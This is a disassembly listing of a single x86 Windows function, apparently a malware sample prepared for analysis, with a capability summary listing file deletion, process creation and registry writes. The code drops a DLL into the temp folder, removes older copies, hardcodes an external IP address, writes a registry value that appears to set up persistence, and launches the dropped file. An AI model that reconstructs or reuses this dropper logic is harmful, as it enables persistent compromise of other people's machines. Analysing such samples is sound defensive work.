Function at 0x40ea00
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call fcn.00419cf0
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 0xc], eax
push edi
mov dword [ebp - 0x98], 0
xor eax, eax
mov word [ebp - 0x4e8], ax
push 0x206
push 0
lea ecx, [ebp - 0x4e6]
push ecx
call fcn.00417ec0
add esp, 0xc
xor edx, edx
mov word [ebp - 0x1418], dx
push 0x206
push 0
lea eax, [ebp - 0x1416]
push eax
call fcn.00417ec0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x1208], cx
push 0x206
push 0
lea edx, [ebp - 0x1206]
push edx
call fcn.00417ec0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2d8], ax
xor ecx, ecx
mov dword [ebp - 0x2d6], ecx
mov dword [ebp - 0x2d2], ecx
mov dword [ebp - 0x2ce], ecx
mov dword [ebp - 0x2ca], ecx
mov dword [ebp - 0x2c6], ecx
mov dword [ebp - 0x2c2], ecx
mov dword [ebp - 0x2be], ecx
mov word [ebp - 0x2ba], cx
mov dx, word [0x422430]
mov word [ebp - 0x90], dx
push 0x7e
push 0
lea eax, [ebp - 0x8e]
push eax
call fcn.00417ec0
add esp, 0xc
mov cx, word [0x422434]
mov word [ebp - 0xdf8], cx
push 0x7e
push 0
lea edx, [ebp - 0xdf6]
push edx
call fcn.00417ec0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x574], ax
mov cx, word [0x422438]
mov word [ebp - 0x570], cx
push 0x7e
push 0
lea edx, [ebp - 0x56e]
push edx
call fcn.00417ec0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x120c], ax
xor ecx, ecx
mov word [ebp - 0x1000], cx
push 0x206
push 0
lea edx, [ebp - 0xffe]
push edx
call fcn.00417ec0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2b8], ax
xor ecx, ecx
mov dword [ebp - 0x2b6], ecx
mov dword [ebp - 0x2b2], ecx
mov dword [ebp - 0x2ae], ecx
mov dword [ebp - 0x2aa], ecx
mov dword [ebp - 0x2a6], ecx
mov dword [ebp - 0x2a2], ecx
mov dword [ebp - 0x29e], ecx
mov word [ebp - 0x29a], cx
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x200
push 0
lea edx, [ebp - 0x298]
push edx
call fcn.00417ec0
add esp, 0xc
push 1
lea eax, [ebp - 0x298]
push eax
call fcn.00405960
add esp, 8
mov dword [ebp - 8], eax
push 0
lea ecx, [ebp - 0x1618]
push ecx
call fcn.00405960
add esp, 8
mov dword [ebp - 0x94], eax
push 0x104
lea edx, [ebp - 0x1418]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x4e8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
push 0x104
lea ecx, [ebp - 0x4e8]
push ecx
call fcn.0041123d
add esp, 0xc
lea edx, [ebp - 0x4e8]
mov dword [ebp - 0x1e84], edx
mov eax, dword [ebp - 0x1e84]
add eax, 2
mov dword [ebp - 0x1e88], eax
mov ecx, dword [ebp - 0x1e84]
mov dx, word [ecx]
mov word [ebp - 0x1e8a], dx
add dword [ebp - 0x1e84], 2
cmp word [ebp - 0x1e8a], 0
jne 0x40ec48
mov eax, dword [ebp - 0x1e84]
sub eax, dword [ebp - 0x1e88]
sar eax, 1
mov dword [ebp - 0x1e90], eax
je 0x40ec9e
lea ecx, [ebp - 0x4e8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40ec9e
lea edx, [ebp - 0x4e8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 8], 0
je 0x40f217
lea eax, [ebp - 0x4e8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [ebp - 0x110]
push ecx
push 0x104
lea edx, [ebp - 0x4e8]
push edx
call fcn.0041123d
add esp, 0xc
push 0x422484
push 0x104
lea eax, [ebp - 0x4e8]
push eax
call fcn.0041123d
add esp, 0xc
lea ecx, [ebp - 0x4e8]
mov dword [ebp - 0x1e94], ecx
mov edx, dword [ebp - 0x1e94]
add edx, 2
mov dword [ebp - 0x1e98], edx
mov eax, dword [ebp - 0x1e94]
mov cx, word [eax]
mov word [ebp - 0x1e9a], cx
add dword [ebp - 0x1e94], 2
cmp word [ebp - 0x1e9a], 0
jne 0x40ed09
mov edx, dword [ebp - 0x1e94]
sub edx, dword [ebp - 0x1e98]
sar edx, 1
mov dword [ebp - 0x1ea0], edx
je 0x40edec
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40edec
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x1ea4], ecx
lea edx, [ebp - 0x1c40]
mov dword [ebp - 0x1ea8], edx
mov eax, dword [ebp - 0x1ea8]
mov dword [ebp - 0x1eac], eax
mov ecx, dword [ebp - 0x1ea4]
mov dx, word [ecx]
mov word [ebp - 0x1eae], dx
mov eax, dword [ebp - 0x1ea8]
mov cx, word [ebp - 0x1eae]
mov word [eax], cx
mov edx, dword [ebp - 0x1ea4]
add edx, 2
mov dword [ebp - 0x1ea4], edx
mov eax, dword [ebp - 0x1ea8]
add eax, 2
mov dword [ebp - 0x1ea8], eax
cmp word [ebp - 0x1eae], 0
jne 0x40ed7e
push 0x422490
push 0x104
lea ecx, [ebp - 0x1c40]
push ecx
call fcn.0041123d
add esp, 0xc
lea edx, [ebp - 0x4e8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xf0]
push eax
push 0x10
lea ecx, [ebp - 0x2d8]
push ecx
call fcn.004107b6
add esp, 0xc
lea edx, [ebp - 0x4e8]
push edx
lea eax, [ebp - 0xf0]
push eax
call fcn.00401dc0
add esp, 8
lea ecx, [ebp - 0xf0]
push ecx
call fcn.0040e820
add esp, 4
cmp eax, 1
jne 0x40ee35
xor eax, eax
jmp 0x40fb00
xor edx, edx
mov word [ebp - 0x1a30], dx
push 0x206
push 0
lea eax, [ebp - 0x1a2e]
push eax
call fcn.00417ec0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x1820], cx
push 0x206
push 0
lea edx, [ebp - 0x181e]
push edx
call fcn.00417ec0
add esp, 0xc
mov dword [ebp - 0x1824], 0
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x1eb4], eax
lea ecx, [ebp - 0x1a30]
mov dword [ebp - 0x1eb8], ecx
mov edx, dword [ebp - 0x1eb8]
mov dword [ebp - 0x1ebc], edx
mov eax, dword [ebp - 0x1eb4]
mov cx, word [eax]
mov word [ebp - 0x1ebe], cx
mov edx, dword [ebp - 0x1eb8]
mov ax, word [ebp - 0x1ebe]
mov word [edx], ax
mov ecx, dword [ebp - 0x1eb4]
add ecx, 2
mov dword [ebp - 0x1eb4], ecx
mov edx, dword [ebp - 0x1eb8]
add edx, 2
mov dword [ebp - 0x1eb8], edx
cmp word [ebp - 0x1ebe], 0
jne 0x40eea1
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x1ec4], eax
lea ecx, [ebp - 0x1820]
mov dword [ebp - 0x1ec8], ecx
mov edx, dword [ebp - 0x1ec8]
mov dword [ebp - 0x1ecc], edx
mov eax, dword [ebp - 0x1ec4]
mov cx, word [eax]
mov word [ebp - 0x1ece], cx
mov edx, dword [ebp - 0x1ec8]
mov ax, word [ebp - 0x1ece]
mov word [edx], ax
mov ecx, dword [ebp - 0x1ec4]
add ecx, 2
mov dword [ebp - 0x1ec4], ecx
mov edx, dword [ebp - 0x1ec8]
add edx, 2
mov dword [ebp - 0x1ec8], edx
cmp word [ebp - 0x1ece], 0
jne 0x40ef0d
lea eax, [ebp - 0x1820]
add eax, 0xfffffffe
mov dword [ebp - 0x1ed4], eax
mov ecx, dword [ebp - 0x1ed4]
mov dx, word [ecx + 2]
mov word [ebp - 0x1ed6], dx
add dword [ebp - 0x1ed4], 2
cmp word [ebp - 0x1ed6], 0
jne 0x40ef64
mov edi, dword [ebp - 0x1ed4]
mov eax, dword [str._STOP]
mov dword [edi], eax
mov ecx, dword [0x4224f4]
mov dword [edi + 4], ecx
mov edx, dword [0x4224f8]
mov dword [edi + 8], edx
lea eax, [ebp - 0x1a30]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1824], eax
cmp dword [ebp - 0x1824], 0
je 0x40f051
mov ecx, dword [ebp - 0x1824]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x1820]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x1824], eax
mov dword [ebp - 0x1c44], 0
lea eax, [ebp - 0x1a30]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1824], eax
cmp dword [ebp - 0x1824], 0
je 0x40f051
cmp dword [ebp - 0x1c44], 5
jge 0x40f051
mov ecx, dword [ebp - 0x1824]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x1c44]
add edx, 1
mov dword [ebp - 0x1c44], edx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40effc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x1a34], eax
cmp dword [ebp - 0x1a34], 0
je 0x40f084
mov dword [ebp - 0x1edc], 0x422538
jmp 0x40f08e
mov dword [ebp - 0x1edc], 0x422540
lea ecx, [ebp - 0x212]
mov dword [ebp - 0x1ee0], ecx
lea edx, [ebp - 0x90]
mov dword [ebp - 0x1ee4], edx
mov eax, dword [ebp - 0x1ee4]
mov dword [ebp - 0x1ee8], eax
mov ecx, dword [ebp - 0x1ee0]
mov dx, word [ecx]
mov word [ebp - 0x1eea], dx
mov eax, dword [ebp - 0x1ee4]
mov cx, word [ebp - 0x1eea]
mov word [eax], cx
mov edx, dword [ebp - 0x1ee0]
add edx, 2
mov dword [ebp - 0x1ee0], edx
mov eax, dword [ebp - 0x1ee4]
add eax, 2
mov dword [ebp - 0x1ee4], eax
cmp word [ebp - 0x1eea], 0
jne 0x40f0b2
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x1ef0], ecx
lea edx, [ebp - 0xdf8]
mov dword [ebp - 0x1ef4], edx
mov eax, dword [ebp - 0x1ef4]
mov dword [ebp - 0x1ef8], eax
mov ecx, dword [ebp - 0x1ef0]
mov dx, word [ecx]
mov word [ebp - 0x1efa], dx
mov eax, dword [ebp - 0x1ef4]
mov cx, word [ebp - 0x1efa]
mov word [eax], cx
mov edx, dword [ebp - 0x1ef0]
add edx, 2
mov dword [ebp - 0x1ef0], edx
mov eax, dword [ebp - 0x1ef4]
add eax, 2
mov dword [ebp - 0x1ef4], eax
cmp word [ebp - 0x1efa], 0
jne 0x40f11e
mov cx, word [ebp - 0x214]
mov word [ebp - 0x574], cx
lea edx, [ebp - 0x1f2]
mov dword [ebp - 0x1f00], edx
lea eax, [ebp - 0x570]
mov dword [ebp - 0x1f04], eax
mov ecx, dword [ebp - 0x1f04]
mov dword [ebp - 0x1f08], ecx
mov edx, dword [ebp - 0x1f00]
mov ax, word [edx]
mov word [ebp - 0x1f0a], ax
mov ecx, dword [ebp - 0x1f04]
mov dx, word [ebp - 0x1f0a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1f00]
add eax, 2
mov dword [ebp - 0x1f00], eax
mov ecx, dword [ebp - 0x1f04]
add ecx, 2
mov dword [ebp - 0x1f04], ecx
cmp word [ebp - 0x1f0a], 0
jne 0x40f198
mov dx, word [ebp - 0x172]
mov word [ebp - 0x120c], dx
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x2dc], eax
lea ecx, [ebp - 0x110]
push ecx
push 0x10
lea edx, [ebp - 0x2b8]
push edx
call fcn.004107b6
add esp, 0xc
jmp 0x40f32e
cmp dword [0x428f30], 3
jne 0x40f32e
push 0x236
push 0
lea eax, [ebp - 0x1e80]
push eax
call fcn.00417ec0
add esp, 0xc
lea ecx, [ebp - 0x1e80]
push ecx
call fcn.00402590
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40f32e
lea edx, [ebp - 0x1d72]
mov dword [ebp - 0x1f10], edx
lea eax, [ebp - 0x90]
mov dword [ebp - 0x1f14], eax
mov ecx, dword [ebp - 0x1f14]
mov dword [ebp - 0x1f18], ecx
mov edx, dword [ebp - 0x1f10]
mov ax, word [edx]
mov word [ebp - 0x1f1a], ax
mov ecx, dword [ebp - 0x1f14]
mov dx, word [ebp - 0x1f1a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1f10]
add eax, 2
mov dword [ebp - 0x1f10], eax
mov ecx, dword [ebp - 0x1f14]
add ecx, 2
mov dword [ebp - 0x1f14], ecx
cmp word [ebp - 0x1f1a], 0
jne 0x40f27a
lea edx, [ebp - 0xdf8]
push edx
mov eax, dword [ebp - 0x1d7a]
push eax
call fcn.00401930
add esp, 8
mov cx, word [ebp - 0x1d76]
mov word [ebp - 0x574], cx
lea edx, [ebp - 0x570]
push edx
mov eax, dword [ebp - 0x1d80]
push eax
call fcn.00401930
add esp, 8
mov cx, word [ebp - 0x1d7c]
mov word [ebp - 0x120c], cx
mov edx, dword [ebp - 0x1e78]
mov dword [ebp - 0x2dc], edx
lea eax, [ebp - 0x1d52]
push eax
push 0x10
lea ecx, [ebp - 0x2d8]
push ecx
call fcn.004107b6
add esp, 0xc
cmp dword [ebp - 0x94], 0
je 0x40f563
lea edx, [ebp - 0x1592]
mov dword [ebp - 0x1f20], edx
lea eax, [ebp - 0x90]
mov dword [ebp - 0x1f24], eax
mov ecx, dword [ebp - 0x1f24]
mov dword [ebp - 0x1f28], ecx
mov edx, dword [ebp - 0x1f20]
mov ax, word [edx]
mov word [ebp - 0x1f2a], ax
mov ecx, dword [ebp - 0x1f24]
mov dx, word [ebp - 0x1f2a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1f20]
add eax, 2
mov dword [ebp - 0x1f20], eax
mov ecx, dword [ebp - 0x1f24]
add ecx, 2
mov dword [ebp - 0x1f24], ecx
cmp word [ebp - 0x1f2a], 0
jne 0x40f35f
lea edx, [ebp - 0x1614]
mov dword [ebp - 0x1f30], edx
lea eax, [ebp - 0xdf8]
mov dword [ebp - 0x1f34], eax
mov ecx, dword [ebp - 0x1f34]
mov dword [ebp - 0x1f38], ecx
mov edx, dword [ebp - 0x1f30]
mov ax, word [edx]
mov word [ebp - 0x1f3a], ax
mov ecx, dword [ebp - 0x1f34]
mov dx, word [ebp - 0x1f3a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1f30]
add eax, 2
mov dword [ebp - 0x1f30], eax
mov ecx, dword [ebp - 0x1f34]
add ecx, 2
mov dword [ebp - 0x1f34], ecx
cmp word [ebp - 0x1f3a], 0
jne 0x40f3cb
mov dx, word [ebp - 0x1594]
mov word [ebp - 0x574], dx
mov dword [ebp - 0x1f40], 0x422548
lea eax, [ebp - 0x570]
mov dword [ebp - 0x1f44], eax
mov ecx, dword [ebp - 0x1f44]
mov dword [ebp - 0x1f48], ecx
mov edx, dword [ebp - 0x1f40]
mov ax, word [edx]
mov word [ebp - 0x1f4a], ax
mov ecx, dword [ebp - 0x1f44]
mov dx, word [ebp - 0x1f4a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1f40]
add eax, 2
mov dword [ebp - 0x1f40], eax
mov ecx, dword [ebp - 0x1f44]
add ecx, 2
mov dword [ebp - 0x1f44], ecx
cmp word [ebp - 0x1f4a], 0
jne 0x40f443
mov dx, word [ebp - 0x14f2]
mov word [ebp - 0x120c], dx
mov eax, dword [0x428f14]
mov dword [ebp - 0x2dc], eax
cmp dword [0x428f30], 3
je 0x40f4c0
push 1
lea ecx, [ebp - 0x1000]
push ecx
call fcn.0040e7d0
add esp, 8
jmp 0x40f4d1
push 0
lea edx, [ebp - 0x1000]
push edx
call fcn.0040e7d0
add esp, 8
lea eax, [ebp - 0x1000]
mov dword [ebp - 0x1f50], eax
lea ecx, [ebp - 0x1208]
mov dword [ebp - 0x1f54], ecx
mov edx, dword [ebp - 0x1f54]
mov dword [ebp - 0x1f58], edx
mov eax, dword [ebp - 0x1f50]
mov cx, word [eax]
mov word [ebp - 0x1f5a], cx
mov edx, dword [ebp - 0x1f54]
mov ax, word [ebp - 0x1f5a]
mov word [edx], ax
mov ecx, dword [ebp - 0x1f50]
add ecx, 2
mov dword [ebp - 0x1f50], ecx
mov edx, dword [ebp - 0x1f54]
add edx, 2
mov dword [ebp - 0x1f54], edx
cmp word [ebp - 0x1f5a], 0
jne 0x40f4f5
push 0x422564
push 0x104
lea eax, [ebp - 0x1208]
push eax
call fcn.0041123d
add esp, 0xc
lea ecx, [ebp - 0x1208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
push 0
lea edx, [ebp - 0x298]
push edx
call fcn.00417ec0
add esp, 0xc
mov dword [ebp - 0x298], 0x504d534d
mov eax, 0x51
mov word [ebp - 0x214], ax
mov dword [ebp - 0x1f60], str.218.54.31.165
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x1f64], ecx
mov edx, dword [ebp - 0x1f64]
mov dword [ebp - 0x1f68], edx
mov eax, dword [ebp - 0x1f60]
mov cx, word [eax]
mov word [ebp - 0x1f6a], cx
mov edx, dword [ebp - 0x1f64]
mov ax, word [ebp - 0x1f6a]
mov word [edx], ax
mov ecx, dword [ebp - 0x1f60]
add ecx, 2
mov dword [ebp - 0x1f60], ecx
mov edx, dword [ebp - 0x1f64]
add edx, 2
mov dword [ebp - 0x1f64], edx
cmp word [ebp - 0x1f6a], 0
jne 0x40f5b1
mov eax, 0x2b66
mov word [ebp - 0x172], ax
mov dword [ebp - 0x1f70], 0x422598
lea ecx, [ebp - 0x1f2]
mov dword [ebp - 0x1f74], ecx
mov edx, dword [ebp - 0x1f74]
mov dword [ebp - 0x1f78], edx
mov eax, dword [ebp - 0x1f70]
mov cx, word [eax]
mov word [ebp - 0x1f7a], cx
mov edx, dword [ebp - 0x1f74]
mov ax, word [ebp - 0x1f7a]
mov word [edx], ax
mov ecx, dword [ebp - 0x1f70]
add ecx, 2
mov dword [ebp - 0x1f70], ecx
mov edx, dword [ebp - 0x1f74]
add edx, 2
mov dword [ebp - 0x1f74], edx
cmp word [ebp - 0x1f7a], 0
jne 0x40f627
mov dword [ebp - 0x1f80], str.AAAA
lea eax, [ebp - 0x212]
mov dword [ebp - 0x1f84], eax
mov ecx, dword [ebp - 0x1f84]
mov dword [ebp - 0x1f88], ecx
mov edx, dword [ebp - 0x1f80]
mov ax, word [edx]
mov word [ebp - 0x1f8a], ax
mov ecx, dword [ebp - 0x1f84]
mov dx, word [ebp - 0x1f8a]
mov word [ecx], dx
mov eax, dword [ebp - 0x1f80]
add eax, 2
mov dword [ebp - 0x1f80], eax
mov ecx, dword [ebp - 0x1f84]
add ecx, 2
mov dword [ebp - 0x1f84], ecx
cmp word [ebp - 0x1f8a], 0
jne 0x40f691
mov edx, dword [0x428f14]
mov dword [ebp - 0xd0], edx
cmp dword [ebp - 8], 0
jne 0x40f6fa
cmp dword [ebp - 4], 0
jne 0x40f6fa
cmp dword [ebp - 0x94], 0
je 0x40f778
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x212]
push ecx
call fcn.00410790
add esp, 8
lea edx, [ebp - 0xdf8]
push edx
lea eax, [ebp - 0x294]
push eax
call fcn.00410770
add esp, 8
mov cx, word [ebp - 0x574]
mov word [ebp - 0x214], cx
lea edx, [ebp - 0x570]
push edx
lea eax, [ebp - 0x1f2]
push eax
call fcn.00410770
add esp, 8
mov cx, word [ebp - 0x120c]
mov word [ebp - 0x172], cx
mov edx, dword [ebp - 0x2dc]
mov dword [ebp - 0xd0], edx
cmp dword [ebp - 0x2dc], 0
jne 0x40f778
mov eax, dword [0x428f14]
mov dword [ebp - 0xd0], eax
movzx ecx, word [ebp - 0x294]
test ecx, ecx
je 0x40f78e
movzx edx, word [ebp - 0x214]
test edx, edx
jg 0x40f798
jmp 0x40faf0
mov dword [ebp - 0x298], 0x504d534d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00410847
add esp, 4
xor eax, eax
mov word [ebp - 0xd78], ax
push 0x7fe
push 0
lea ecx, [ebp - 0xd76]
push ecx
call fcn.00417ec0
add esp, 0xc
movzx edx, word [ebp - 0x170]
test edx, edx
jne 0x40f804
lea eax, [ebp - 0xd78]
push eax
push 6
push 5
call fcn.004010c0
add esp, 0xc
lea ecx, [ebp - 0xd78]
push ecx
lea edx, [ebp - 0x170]
push edx
call fcn.00410790
add esp, 8
movzx eax, word [ebp - 0x150]
test eax, eax
jne 0x40f838
lea ecx, [ebp - 0xd78]
push ecx
push 6
push 5
call fcn.004010c0
add esp, 0xc
lea edx, [ebp - 0xd78]
push edx
lea eax, [ebp - 0x150]
push eax
call fcn.00410790
add esp, 8
movzx ecx, word [ebp - 0x110]
test ecx, ecx
jne 0x40f86c
lea edx, [ebp - 0xd78]
push edx
push 6
push 5
call fcn.004010c0
add esp, 0xc
lea eax, [ebp - 0xd78]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.00410790
add esp, 8
movzx edx, word [ebp - 0xf0]
test edx, edx
jne 0x40f90c
lea eax, [ebp - 0xd78]
push eax
push 6
push 5
call fcn.004010c0
add esp, 0xc
lea ecx, [ebp - 0xd78]
push ecx
lea edx, [ebp - 0xf0]
push edx
call fcn.00410790
add esp, 8
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x1f90], eax
mov ecx, dword [ebp - 0x1f90]
add ecx, 2
mov dword [ebp - 0x1f94], ecx
mov edx, dword [ebp - 0x1f90]
mov ax, word [edx]
mov word [ebp - 0x1f96], ax
add dword [ebp - 0x1f90], 2
cmp word [ebp - 0x1f96], 0
jne 0x40f8bf
mov ecx, dword [ebp - 0x1f90]
sub ecx, dword [ebp - 0x1f94]
sar ecx, 1
mov dword [ebp - 0x1f9c], ecx
je 0x40f90c
lea edx, [ebp - 0x2d8]
push edx
lea eax, [ebp - 0xf0]
push eax
call fcn.00410790
add esp, 8
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x1fa0], ecx
mov edx, dword [ebp - 0x1fa0]
add edx, 2
mov dword [ebp - 0x1fa4], edx
mov eax, dword [ebp - 0x1fa0]
mov cx, word [eax]
mov word [ebp - 0x1fa6], cx
add dword [ebp - 0x1fa0], 2
cmp word [ebp - 0x1fa6], 0
jne 0x40f927
mov edx, dword [ebp - 0x1fa0]
sub edx, dword [ebp - 0x1fa4]
sar edx, 1
mov dword [ebp - 0x1fac], edx
je 0x40f976
lea eax, [ebp - 0x2b8]
push eax
push 0x10
lea ecx, [ebp - 0x130]
push ecx
call fcn.004107b6
add esp, 0xc
movzx edx, word [ebp - 0x130]
test edx, edx
jne 0x40f9aa
lea eax, [ebp - 0xd78]
push eax
push 6
push 5
call fcn.004010c0
add esp, 0xc
lea ecx, [ebp - 0xd78]
push ecx
lea edx, [ebp - 0x130]
push edx
call fcn.00410790
add esp, 8
mov eax, dword [0x428f10]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xd0], 0
jne 0x40f9ca
mov ecx, dword [0x428f14]
mov dword [ebp - 0xd0], ecx
lea edx, [ebp - 0x298]
push edx
call fcn.00405a90
add esp, 4
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x40f9f2
jmp 0x40faf0
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0xf0]
push ecx
call fcn.00401dc0
add esp, 8
push 0x32
lea edx, [ebp - 0x4e8]
push edx
lea eax, [ebp - 0x1418]
push eax
call fcn.0040e8f0
add esp, 0xc
mov dword [ebp - 0x4ec], 0
lea ecx, [ebp - 0x4ec]
push ecx
push 3
push 0
push 0x422630
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40fad6
lea edx, [ebp - 0x4e8]
mov dword [ebp - 0x1fb0], edx
mov eax, dword [ebp - 0x1fb0]
add eax, 2
mov dword [ebp - 0x1fb4], eax
mov ecx, dword [ebp - 0x1fb0]
mov dx, word [ecx]
mov word [ebp - 0x1fb6], dx
add dword [ebp - 0x1fb0], 2
cmp word [ebp - 0x1fb6], 0
jne 0x40fa68
mov eax, dword [ebp - 0x1fb0]
sub eax, dword [ebp - 0x1fb4]
sar eax, 1
mov dword [ebp - 0x1fbc], eax
mov ecx, dword [ebp - 0x1fbc]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x4e8]
push eax
push 1
push 0
push 0x42269c
mov ecx, dword [ebp - 0x4ec]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40fad6
mov edx, dword [ebp - 0x4ec]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x4226a4
lea eax, [ebp - 0x4e8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x98], 1
mov eax, dword [ebp - 0x98]
pop edi
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004107a7
mov esp, ebp
pop ebp
ret